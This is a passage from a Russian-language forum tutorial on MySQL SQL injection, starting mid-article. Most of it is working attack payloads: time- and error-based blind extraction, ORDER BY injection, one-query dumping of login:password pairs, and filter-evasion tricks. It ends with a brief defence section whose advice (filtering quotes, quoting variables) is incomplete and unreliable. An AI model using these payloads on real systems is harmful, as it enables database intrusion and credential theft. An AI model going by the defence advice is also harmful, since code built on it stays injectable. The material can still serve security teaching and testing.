Для просмотра ссылки Войди
Будет возвращать 0. Нужно засечь время. В зависимости от ширины вашего канала нужно подобрать число 2999999 до токого, чтобы вы могли точно судить была ли задержка или нет по сравнению с
Для просмотра ссылки Войди
который вернет 1.
Огромным минусом является то что BENCHMARK-ом мы очень сильно грузим сервак.
ВНИМАНИЕ! В данном случае главное не забывать что после каждого выполнения BENCHMARK-а серверу SQL нужно дать некоторое время отдых. (Чуть больше чем само выполнение BENCMARK-а). В противном случае результаты данного перебора могут быть неверными.
3.4 Посимвольный перебор с помощью SLEEP
Чтож про бенчмарк мы прочитали. И все обратили внимание на жуткую не стабильность этого метода. Что делать спросите вы? Вот что. С 5 ветки MySQL появился оператор SLEEP().
По сути эта функция и создает нужную нам задержку в ответе веб сервера, и, заметьте, без ненужных нагрузок на него. То есть SLEEP() является лучшей альтернативой BENCHMARK() и юзать желательно ее, но повторюсь единственный минус - эта функция появилась только аж в 5-ой ветке. Сказка, да и только.
Как юзать? Все элементрано:
Для просмотра ссылки Войди
Я юзаю значение в две - три секнуды, но вам советую подобрать его в соответствии с каналом сервера, так как могут возникнуть погрешности в выводе.
3.5 Посимвольный перебор с помощью отчета об ошибках
Этот пункт написан на основе статьи "Для просмотра ссылки Войди
Данный способ основан на том что вместо возврата 0, выполняется подзапрос который вызывает ошибку и по выводу ошибок можно судить что возвратился 0, а по отсутствию ошибки что возвратился 1. Этот способ нам поможет если отсутствуют выводимые поля, но ВКЛЮЧЕН(!) отчет об ошибках.
Код:
SELECT * FROM news WHERE id='-1' OR id=(SELECT 1 UNION SELECT 2)
Как вы думаете что вернет этот запрос? Правильно ошибку так как id сравнивается с подзапросом который возвращает две строки.
mysql_query():Subquery returns more than 1 row
Это была теория. Теперь переходим к запросу с помощью которого мы будем перебирать символы
Код:
SELECT * FROM news WHERE id='-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1,(SELECT 1 UNION SELECT 2)) -- '
Как видно из этого запроса если код символа будет больше или равен 100 функция IF() возвращает 1, и никакой тогда ошибки не вылазит, а если функция выполняет подзапрос
Код:
SELECT 1 UNION SELECT 2
который возвращает две строки что при сравнении с id вызывает ошибку и мы понимаем что запрос вернул 0.
Огромным минусом этого способа является то что в логах скапливаются огромные количества ошибок. А огромным плюсом является скорость работы.
3.6 Иньекция в операторе ORDER BY
Почему то у многих сложилось мнение, что это безнадежный случай. Ну что же будем менять это мнение на противоположное. Допустим к БД запрос выглядит вот так:
Код:
SELECT * FROM news ORDER BY $by
ну и как всегда бывает переменная $by не проходит фильтрации, а на странице выводятся несколько строк из БД. Что ж нам требуется получить два запроса, которые бы изменяли каким то образом вывод на страницу, но еще запросы должны быть такими чтобы можно было влиять на результат с помощью допустим подзапросов. Что же такими запросами могут стать
Для просмотра ссылки Войди
Код:
Первая новость
Вторая новость
Третья новость
А во второй ложь:
Код:
Третья новость
Вторая новость
Первая новость
Ну чтоже запрос для брута имени текущего юзера будет выглядеть так:
Для просмотра ссылки Войди
Для просмотра ссылки Войди
Для просмотра ссылки Войди
Переводим код символа 114 в символ r. Переходим к следующему символу и тд.
4.ВЫВОД В ОДНУ СТРОКУ.
Довольно часто встречаются иньекции, когда данные из таблицы выводятся по одной записи. И приходится делать кучу запросов для того чтобы получить всю таблицу. Здесь же будут приведенны способы уменьшить количество запросов для получения таблицы или вовсе свести их к одному запросу. На данный момент(06.09.2011) публике известны только три способа (все остальные - лишь варианты основанные на этих способах, или я устарел?). Начну описание с самых геморных.
4.1 Цикл с помощью BENCHMARK
Идея состоит в том чтобы реализовать в запросе подобие цикла с помощью функции BENCHMARK, условия IF и переменных @var. Собственно перейдем к примеру запроса (он специально урезан чтобы можно было понять его суть):
Код:
1| SELECT CONCAT(
2| CONCAT(
3| @i:=(SELECT MIN(id) FROM user),
4| @s:='',
5| BENCHMARK(
6| 10,
7| @s:=CONCAT(
8| @s,
9| (SELECT CONCAT_WS(':',login, password) FROM Users WHERE id=@i LIMIT 0,1),
10| '|',
11| i:=(SELECT MIN(id) FROM user WHERE id>@i)
12| )
13| )
14| )
15| ,@s)
Начнем разбирать этот запрос. Здесь мы инициализируем переменные @i (указатель на минимальный ID строки) и @s будущий буффер с данными.
Код:
3| @i:=(SELECT MIN(id) FROM user),
4| @s:='',
А вот и сам цикл:
Код:
5| BENCHMARK(
6| 10,
7| @s:=CONCAT(
8| @s,
9| (SELECT CONCAT_WS(':',login, password) FROM Users WHERE id=@i LIMIT 0,1),
10| '|',
11| i:=(SELECT MIN(id) FROM user WHERE id>@i)
12| )
13| )
Цифра 10, как вы наверное догадались, это колличество иттераций цикла, т.е количество извлекаемых строк. А вот строка
Код:
9| (SELECT CONCAT_WS(':',login, password) FROM Users WHERE id=@i LIMIT 0,1),
извлекает запись из таблицы и с помощью CONCAT объеденяется с переменной @s.
Код:
11| i:=(SELECT MIN(id) FROM user WHERE id>@i)
здесь мы определяем следующий индетификатор и записываем его в переменную @i. Кстати индетификатор не должен быть обязательно числовым. Подойдет любой столбец. Главное чтобы в нем каждая строка была уникальна.
И в итоге получаем вывод в переменной @s. С идеей надеюсь вы разобрались.
Плюсы:
- Вывод таблицы в один запрос
Минусы:
- Очень сложный и длинный запрос
4.2 Объеденение с помощью GROUP_CONCAT
Наверное уже все слышали про эту функцию. Не буду ходить вокруг да около. Вот так выглядит запрос к БД с использованием этой функции:
Код:
SELECT GROUP_CONCAT(CONCAT_WS(0x3a,login,password)) FROM Users
Но! Единственный и огромный недостаток этой функции это ограничение в 1024байта(по дефолту) на количество выводимой инфы. Казалось бы что пользу извлечь не возможно. Но! Все же есть пара вариантов =)
Самый простой использовать какой нить столбец для сужения диапазона, к примеру:
Код:
SELECT GROUP_CONCAT(CONCAT_WS(0x3a,id,login,password)) FROM Users
Получили вывод длинной 1024байта:
Код:
1:adminass,2:lol:lolpass,[...],17:loginass,18:trololoasswo
Из вывода берем самую последнюю удачно-полученную строку, и из нее извлекаем индетификатор (В нашем случае это "17"), и подставляем обратно в запрос:
Код:
SELECT GROUP_CONCAT(CONCAT_WS(0x3a,id,login,password)) FROM Users WHERE id>17
и так даллее, ровно до тех пор пока не извлечется вся таблица.
Но что делать если в таблице нет столбцов с индетификаторами? На днях я придумал вот такую идею. Делаем запрос:
Код:
SELECT GROUP_CONCAT(CONCAT_WS(0x3a,login,password) ORDER BY CONCAT_WS(0x3a,login,password)) FROM Users
Допустим получаем такой вывод:
Код:
adminass,lol:lolpass,[...],loginass,trololoasswo
Опять берем самую последнюю удачную строку и подставляем в запрос:
Код:
SELECT GROUP_CONCAT(CONCAT_WS(0x3a,login,password) ORDER BY CONCAT_WS(0x3a,login,password)) FROM Users WHERE CONCAT_WS(0x3a,login,password)>'loginass'
И таким образом получаем следующий диапазон.
Кстати есть еще один минус GROUP_CONCAT, но о нем малок кто знает. Чем больше данных мы пытаемся объеденить за один раз, тем больше время выполнения запроса. Причем это время может быть довольно значительным. (На практике у меня один запрос к таблице на 500кк записей занимал около 40 секунд, выводилось в среднем 15 строк. Тогда как один обычный запрос занимал ~0.7 секунд. Т.е на лицо не рациональность подхода) Выход - ограничение диапазона с двух сторон, т.е.:
Код:
WHERE id>17 AND id<117
Эксплойты для автоматизации процесса Для просмотра ссылки Войди
Плюсы:
- Интуитивно понятный и короткий запрос
Минусы:
- Вывод НЕ в один запрос
- Тормоза при выводе крупных таблиц
4.3 Неявный цикл в условии (?)
В статье "Для просмотра ссылки Войди
Его идея заключается в том чтобы использовать переменную в условии WHERE и заставить MySQL писать в нее весь вывод.
Код:
SELECT @p FROM (SELECT @p:=null, (SELECT COUNT(*) FROM {TABLE_NAME} WHERE (@p:=CONCAT_WS(0x2C, @p, {COLUMN_NAME}))>0))x
Чесно говоря идея замечательная, но, имхо, реализация могла бы быть попроще. Зачем два вложенных друг в друга подзапроса? Не в обиду конечно) респект ему в любом случае)
Так вот. Пытаемся максимально упростить запрос. Пример шаблона:
Код:
SELECT CONCAT(@p:=0x20,(SELECT COUNT(*) FROM {TABLE} WHERE @p:=CONCAT(@p,{COLUMNS},0x2C)), @p)
Все выводится отлично, но с лишними данными, (ничего критичного, результат определения переменной и выполнения подзапроса). Для тех кого смущает лишний вывод, добавляем CONCAT и усекаем строку до нуля:
Код:
SELECT CONCAT(MID(CONCAT(@p:=0x20,(SELECT COUNT(*) FROM {TABLE} WHERE @p:=CONCAT(@p,{COLUMNS},0x2C))),0), @p)
Не обязательно конечно, но так мы сможем скрыть вывод лишних данных.
profexer на основе выше сказанного, предложил запрос укоротить еще. Собственно, вот последний пример шаблона:
Код:
SELECT MID(CONCAT(@p:=0x20,(SELECT COUNT(*) FROM {TABLE} WHERE @p:=CONCAT(@p,0x2C,{COLUMNS})),@p),5)
В итоге измененый вариант работает чуть быстрее чем оригинал. Тест выборки из таблицы 3к записей по 100 запросов:
Оригинал: ~0.6c.
Измененный: ~0.4c.
Плюсы:
- Вывод в один запрос
- Простой и короткий запрос
Минусы:
*Пока нету =)
5.ЧТО ДЕЛАТЬ ЕСЛИ ЧТО-ТО ФИЛЬТРУЕТСЯ.
5.1 Фильтруется пробел
В данном случае можно попытаться воспользоваться несколькими способами.
5.1.1 Комментарии
Ну для начала вспомним что для SQL конструкция типа /**/ равна пробелу. Пример:
Код:
SELECT * FROM news WHERE id='1'/**/UNION/**/SELECT/**/1,2,3,4,5,6/**/FROM/**/Users/**/WHERE/**/login='admin'#'
Можно воспользоватся аналогом этого комментария /*!*/ (см. ниже) содержимое которого будет выполнятся, пример:
Код:
SELECT * FROM news WHERE id='1'/*!UNION*/SELECT/*!1,2,3,4,5,6*/FROM/*!Users*/WHERE/*!login='admin'*/#'
Небольшое отступление. Как ни странно, даже такой запрос выполнится правильно:
Код:
SELECT/*!**/FROM table_name
5.1.2 Пробельные символы
Помимо самого пробела есть еще несколько пробельных символов, которые MySQL воспринимает как пробел, это:
- %09 – табуляция
- %0A – символ новой строка
- %0D – возврат каретки
- %0B – вертикальная табуляция
- %0C – символ новой страницы
Для просмотра ссылки Войди
5.1.3 Альтернативный синтаксис
Ну а что делать если все выше указанное фильтруется? Все элементарно. Можно воспользоватся скобками и апострофами. К примеру:
Код:
SELECT * FROM news WHERE id='1'UNION(SELECT(1),2,3,4,5,(6)FROM(Users)WHERE(login='admin'))#'
Или
Код:
SELECT * FROM news WHERE id='1'UNION(SELECT`login`,2,3,4,5,`password`FROM`Users`WHERE`login`='admin')#'
хоть в последнем случае нам и не удалось полностью избавится от скобок, но этот навык может вам пригодится в иньекциях через подзапрос где не нужно будет юзать UNION
5.2 Фильтруется символ/строка
Есть интересная функция CHAR() которая возвращает по коду символа сам символ.Предположим фильтруется символ... ну пускай будет звездочка (*). Для начала нам нужно узнать код этого символа. В MYSQL есть функция ASCII() возвращает код самого левого символа из переданной ей строке юзается так
Код:
SELECT ASCII('*')
только на уязвимом хосте этого делать смысла нет (Символ '*' фильтруется) это нужно сделать на локалке. Узнаем что код равен 42 и юзаем функцию CHAR() так
Код:
SELECT CHAR(42, 42, 42)
Выведет три звездочки.
Еще один способ это использовать 16-ричный код символа. Теперь предположим что фильтруется солово 'admin'. В MYSQL есть функция HEX() которая выдает 16-ричный код строки. Юзается так
Код:
SELECT HEX('admin')
Выдаст '61646D696E' впереди дописываем "0x" (Чтобы SQL понял что имеет дело с 16-ричной кодировкой) и получаем '0x61646D696E ' это юзать без CHAR() так
Код:
SELECT password FROM User WHERE login=0x61646D696E
5.3 Проблемы с кодировками
Часто бывает так, вот вы вроде нашли все столбцы, составили верный запрос, а при попытке вывести из БД какую либо строку не получается - ну и взависимости от конфигурации сервера вы можете получить сообщение о несовместимости кодировок, а можете и не получить.
Есть элементарный способ возложить преобразование кодировок на плечи мускула. Можно юзать подобную конструкцию:
AES_DECRYPT(AES_ENCRYPT([Ваш запрос],'bla'),'bla')
Но! Какбе это уже не модно и очень громоздко, и я пару лет назад предлагал другую конструкцию, намного меньшую:
UNHEX(HEX([Ваш запрос]))
Как говорится все гениальное просто.
Ну и собственно пример того как это можно юзать:
Для просмотра ссылки Войди
6.ПОЛЕЗНЫЕ ФУНКЦИИ В MYSQL
Надеюсь что за SELECT, INSERT, UPDATE, DELETE, DROP вы знаете, если нет то лезем в эту книжку читать: Для просмотра ссылки Войди
----------------------------
USER()-функция выводит логин юзера под которым мы подключены к MYSQL
DATABASE()-функция выводит название БД к которой мы подключены
VERSION()-выводит версию MYSQL
----------------------------
ASCII(str)-возвращает ASCII код первого символа в строке "str"
CHAR(xx1,xx2,...)-возвращает строку состоящую из сомволов ASCII коды которых xx1, xx2 и т.д.
HEX(str)-возвращает 16-ричный эквивалент строки "str".
----------------------------
LENGTH(str)- Возвращает длину строки "str".
LOCATE(substr,str[,pos]) -Возвращает позицию первого вхождения подстроки "substr" в строку "str" начиная с позиции pos(если не указанно то с начала строки "str"). Если подстрока "substr" в строке "str" отсутствует, возвращается 0.
----------------------------
SUBSTRING(str,pos[,len]) -Возвращает подстроку длиной len(если не указан то до конца строки "str") символов из строки "str", начиная от позиции pos.
SUBSTRING(str FROM pos[ FOR len]) - альтернативный синтаксис, может пригодится если фильтруется запятая
MID(str,pos[,len]) - аналог функции SUBSTRING, но короче в три раза, может пригодится при ограничениях на кол-во символов.
MID(str FROM pos[ FOR len]) - альтернативный синтаксис, может пригодится если фильтруется запятая
----------------------------
LOWER(str)-переводит в нижний регистр строку "str"(по-моему только латиницу)
CONCAT(param1,param2,...) -объединение подстрок в одну строку.
CONCAT_WS(sep,param1,param2,...) -объединение подстрок в одну строку c разделителем "sep".
----------------------------
IF(exp,ret1,ret2)-Проверяет условие exp если оно верно (не равно 0) то возвращает строку ret1 а если нет то возвращает строку ret2.
----------------------------
expr BETWEEN min AND max-Если величина выражения expr больше или равна заданному значению min и меньше или равна заданному значению max, то функция BETWEEN возвращает 1, в противном случае - 0.
----------------------------
Теперь о комментариях в Mysql
1) # символ начала комментария в MySQL. Пример:
Код:
SELECT pass,login FROM users #This is comment
что аналогично запросу
Код:
SELECT pass,login FROM users
2) -- еще один вариант комментария в MySQL. Обязателен пробел после этого знака. Пример:
Код:
SELECT pass,login FROM users -- This is comment
3) /* */ аналог комментария СИ в MySQL. Начиная с ветки 5.1(?) лафа заканчивается и для этого типа комментариев нужна закрывающая часть. Для MySQL индеинтична пробелу. Примеры:
Код:
SELECT pass,login FROM users /*This is comment
SELECT pass,login/*This is comment*/FROM users
SELECT/**/pass,login/**/FROM/**/users
4) /*!int */ Расширение предыдущего комментария. Все заключенное в данный комментарий будет интерпретироваться как SQL запрос если номер данной версии MySQL равен указанному числу int после восклицательного знака или больше. Пример:
Код:
SELECT pass/*!32302 ,login*/FROM users
Выведет столбец login
7. КАК ЗАЩИТИТЬСЯ ОТ SQL INJECTION
Вы конечно понимаете что именно для этого пункта и писалась вся эта статья. Все пункты и их подпункты были написанны лишь для того что бы понять все серьезнось ситуации, а за использование этих пунктов в целях противоречащих УКРФ автор данной статьи ответственность не несет.
А защитится очень просто. Кстати все три правила относятся к трем способам передачи информации серверу GET, POST, Cookie.
1)САМОЕ ГЛАВНОЕ ФИЛЬТРОВАТЬ КАВЫЧКИ.
-------------------------------
2)Если используется оператор сравнения строк LIKE фильтровать знаки “%” и “_”
-------------------------------
3)Не использовать при сравнении прерменных без кавычек типа SELECT …WHERE id=$id а использовать так SELECT ...WHERE id='$id' и обратиться к пункту 1